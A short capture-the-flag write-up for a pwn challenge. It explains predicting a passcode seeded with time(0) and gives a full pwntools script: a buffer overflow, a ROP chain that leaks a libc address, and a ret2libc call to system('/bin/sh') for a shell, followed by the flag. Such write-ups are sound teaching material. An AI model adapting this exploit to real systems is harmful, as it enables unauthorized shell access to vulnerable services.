"The 'srand' here, though it uses 'time(0)' as the parameter, is based on seconds, so you can directly run it locally to pass through.
int initialize()
{
unsigned int v0; // eax
int result; // eax
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout,0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v0 = time(0LL);
srand(v0);
result = rand();
passcode = result;
return result;
}
After that, it's just the normal ROP.
The first ROP leaks the address of the 'getchar' function through 'puts' and eventually makes the program return to the 'command' function.
Then, find the '/bin/sh' and 'system' addresses for the final ROP to get a shell.
from pwn import *
from ctypes import *
elf=ELF('./pwn')
# r=process('./pwn')
r=remote('ash-chal.firebird.sh',36031)
libc1=ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
libc = CDLL('./libc6_2.27-3ubuntu1.5_amd64.so')
time = libc.time(0)
print(hex(time))
libc.srand(time)
rand = libc.rand()
print(hex(rand))
r.recvuntil(b'Please enter the passcode: ')
r.sendline(bytes(str(rand),encoding='utf8'))
pop_rdi = 0x0000000000400a13
r.recvuntil(b'Please enter your command: ')
payload = b'a'*0x78
payload += flat(pop_rdi,elf.got['getchar'],elf.plt['puts'],elf.sym['command'])
r.sendline(payload)
r.recvuntil(b'Command received!\\n')
libc_base = u64(r.recv(6).ljust(8,b'\\x00')) - libc1.symbols['getchar']
print(hex(libc_base))
bin_sh_addr = libc_base + next(libc1.search(b'/bin/sh'))
system_addr = libc_base + libc1.symbols['system']
r.recvuntil(b'Please enter your command: ')
payload = b'a'*0x78
payload += flat(pop_rdi,bin_sh_addr,0x00000000004006ae,system_addr)
r.sendline(payload)
# gdb.attach(r)
r.interactive()
firebird{R3tu?n_tO_7h3_m00n_1969}
GLHF~